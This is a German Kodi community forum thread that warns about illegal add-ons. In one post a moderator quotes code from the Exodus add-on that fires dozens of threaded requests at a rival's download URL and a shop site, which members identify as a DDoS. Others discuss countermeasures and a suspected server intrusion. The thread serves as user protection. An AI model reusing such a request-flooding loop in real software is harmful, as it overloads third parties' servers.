Warnung vor illegalen Addons

SkyBird1980

Hallo,
ich möchte Euch warnen das sich verschiedene Addons als sogenannte Datenwanzen betätigen.
Bei einem Addon (Exodus) werden bei jedem Abspielen von Streams fast 40 URLS mit fragwürdigen Verbindungen befeuert und die persönlichen Daten werden weiter geleitet oder die Verbindungen werden genutzt um eine bestimmte URL mit einem DDoS zu befeuern.

Ebenso ist die Gefahr dort auf diesen Wege ein Botnetz von willenlosen Kodisystemen zu erstellen.
Man muss also sehr darauf achten welchen Addons und Quellen man vertraut - abgesehen von der Legalität.

Dies ist mit einer der Gründe warum wir hier diese Addons auch rauskommentieren aus Posts. Die Kodianfänger sollen geschützt werden.
Falls Ihr also mal einen Edit von Uns findet ist das nicht gleich Zensur.
Das gleiche gilt übrigens auch für bestimmte Repositorys.

SkyBird
Moderator Kodinerds.net

Zusätzliche Quelle: https://www.heise.de/security/meldu…en-3617777.html

crusher9

Beleg/ Quelle?

SkyBird1980

Die Originalquelle verlinke ich nicht weil sie auf einer gesperrten Reposeite ist, aber den betroffenden Teil des Addons kann ich gerne posten:

Code

threads = [] 
       def thegoodfight(url): client.request(url, limit='256') 
       def thegoodfight2(): return client.parseDOM(client.request('https://raw.githubusercontent.com/sClarkeIsBack/StreamHub/master/Repo_Files/addons.xml'), 'addon', ret='version', attrs = {'id': 'plugin.video.streamhub'})[0]
        r = cache.get(thegoodfight2, 1)    
    for i in range(1, 30): threads.append(workers.Thread(thegoodfight, 'https://raw.githubusercontent.com/sClarkeIsBack/StreamHub/master/Repo_Files/Zips/plugin.video.streamhub/plugin.video.streamhub-%s.zip' % r))
        for i in range(1, 40): threads.append(workers.Thread(thegoodfight, 'http://mkodi.co.uk/shop/'))   
     [i.start() for i in threads]   
     try: progressDialog.close()  
      except: pass        
self.sourcesFilter()     
  return self.sources

Alles anzeigen

Es ist auch egal ob sich nun dieses Addon ändert. Die Gefahr ist es einfach nicht wert.

crusher9

^soweit ich das mitgeschnitten habe schickt der Code "viele" Anfragen an den Server einer Exodus-Kopie, um die Seite zu überlasten.

Der Code wurde aus dem Addon wieder entfernt - Dennoch bleibt die Aktion äußert fragwürdig

SkyBird1980

Eben, das ist ein DDoS und nichts anderes. Also lassen wir den Mist und bleiben bei den legalen geprüften Addons.

oli-r

Danke für die Info. Evtl. wäre vielleicht ein Rubrik mit "kritischen" Addons ganz angebracht. Zumindest so als Warnung und Abwägung für die Normalo Nutzer von KODI (wie mich z.B.)
Ich meine damit, dass ich hier keinen Support erwarte, nur aber die Aussage "... (wir) warnen vor illegalen Addons" sagt mir genauso viel wie "... (wir) warnen vor einer Sturmflut".

Ich also Normalo Nutzer kann auf den ersten Blick nicht erkennen, ob ein Addon illegal ist oder nicht. Gut bis auf die ganz plumpen Dinge, wie Filme sehen bevor sie im Kino erscheinen usw.
Wie sähe es da z.B. mit dem "Whitecream" Addon aus. Das ist doch nicht illegal oder? - trotzdem könnte auch dies irgendwas im Hintergrund mit meinen Daten veranstalten bzw. das System leer saugen. Irgendwie bin ich da etwas verunsichert, weil man ja nix sieht und mitbekommt.

Multiverse

Whitecream an sich ist grenzwertig, kommt aber von der TV-Addons-Repo. Und die steht auf der schwarzen Liste von Kodi!

SkyBird1980

Es gibt eine banned Addons Liste auf kodi.tv (http://kodi.wiki/view/Official:Forum_rules/Banned_add-ons)
Hat zwar keinen Anspruch auf vollständigkeit aber wenn dort eine Repository drin auftaucht kann man zumindest schonmal die Illegalität vermuten.
Und das muss schon ausreichen.
Dein Pornaddon kenn ich nicht und kann keine Aussage dazu machen. Ich sehe aber es kommt aus einer der banned Repositorys.

L0RE

Weiter News:
https://torrentfreak.com/popular-kodi-a…-botnet-170203/

@don @ALl ich hab da mal ne äthische Frage

Kodinerd User schützen von gefährlichen Addons ?
Man könnte das addon als broken (dummy Plugin mit selber ID ins Kodinerd Repo Packen. So das die user Informiert werden wenn sie es haben was los ist. Fals sie es überlesen habenSo das beim Autoupdate kommt (Achtung Broken wegen (LINK)

Was meint ihr?

ddoSer

Der schadcode ist doch längst wieder raus mit die Version 3.0.5

L0RE

Keine ahnung. ich nutze diese Art von Addons nicht. also pasts wieder... gut war nur ne Idee

PvD

Zitat von L0RE

Man könnte das addon als broken (dummy Plugin mit selber ID ins Kodinerd Repo Packen. So das die user Informiert werden wenn sie es haben was los ist. Fals sie es überlesen habenSo das beim Autoupdate kommt (Achtung Broken wegen (LINK)

Das würde bedeuten, dass Du diese Addons auf Veränderungen im Code überwachen und bei 'Entschärfung' ebenfalls wieder aktiv werden müsstest. Ich glaube, diese Arbeit möchtest Du dir nicht antun. Zudem könnte das von einigen Usern als Gängelei und Bevormundung aufgefasst werden.

Ich fände sowas wie eine 'Addon-Ambulanz' sinnvoller, wo User mal fragen können, ob Coder im Zweifelsfall mal über (und in) den Code eines Addons schauen könnten, ähnlich einem Virenscanner. Evtl. wäre sowas sogar mit codacy automatisierbar.

Arkadia2008

Es gibt bereits ein "Antivirus Add-on" für Kodi.

Security Shield befindet sich allerdings in einem Repo, das selber Grauzonen Add-ons enthält, Add-on lässt sich alternativ aber auch direkt über Github downloaden.

https://www.youtube.com/watch?v=NgmYwk8pk30

https://github.com/noobsandnerds/….securityshield

PvD

Hmm, ein schneller Blick in den Quellcode des Addons zeigt mir, dass die auf einem lokalen System installierten Addons mit einer aus dem Git geladenen 'whitelist' abgeglichen werden. Diese Whitelist enthält eine Liste aller möglichen Repositories.

Welche das sind, sieht man hier: https://github.com/noobsandnerds/…ree/master/zips

Inwieweit jetzt der Abgleich erfolgt und ob nicht sogar Addons nachgeladen/ersetzt werden, muss noch eruiert werden. Ich wäre jetzt erstmal skeptisch.

stereodruid

Also ich find das sehr fragwürdig. Wer hat den den Code implementiert und wer war für das Review verantwortlich?

pacoma

Ich bin mir nicht sicher, aber ich habe heute mal das Addon Webgrabberplus installiert und eingerichtet, dazu wurde automatisch das Addon Mono installiert und 10 Minuten später hatte ich von der ip 60.52.54.226 Fremdzugriffe auf meinem TVHServer. Addon runter alle PW geändert und alles wieder ok. Die IP kommt aus Malaysia......

PvD

@pacoma, da warst Du wohl mal kurzzeitig Teil eines IPTV-Netzwerkes . Interessanter Ansatz, per Addon TVHeadend nach von innen nach aussen freizuschalten. Dazu braucht es auch keine Portweiterleitung o.ä. Nur der 'Upload' muss fix genug sein.

C0mmanda

Krass
Aber:
Wenn da einfach so jeder auf dein TVH-Server zugreifen kann solltest du generell mal deine Konfigs ändern...

Jede IP welche nicht explizit freigegeben ist (inkl. User/Password) hat bei mir keinen Zugriff.

Und wie kommt der überhaupt in dein LAN?

Grtz

CvH

An Mono kann das aber nicht liegen da es nur eine lib ist und aus normalen Quellen kommt.
Für Wgp sollte das selbe gelten.

don

Und ich habe das ungute Gefühl, dass hier nur an der Oberfläche gekratzt wird.

Warnung vor illegalen Addons

Jetzt mitmachen!

Benutzer online in diesem Thema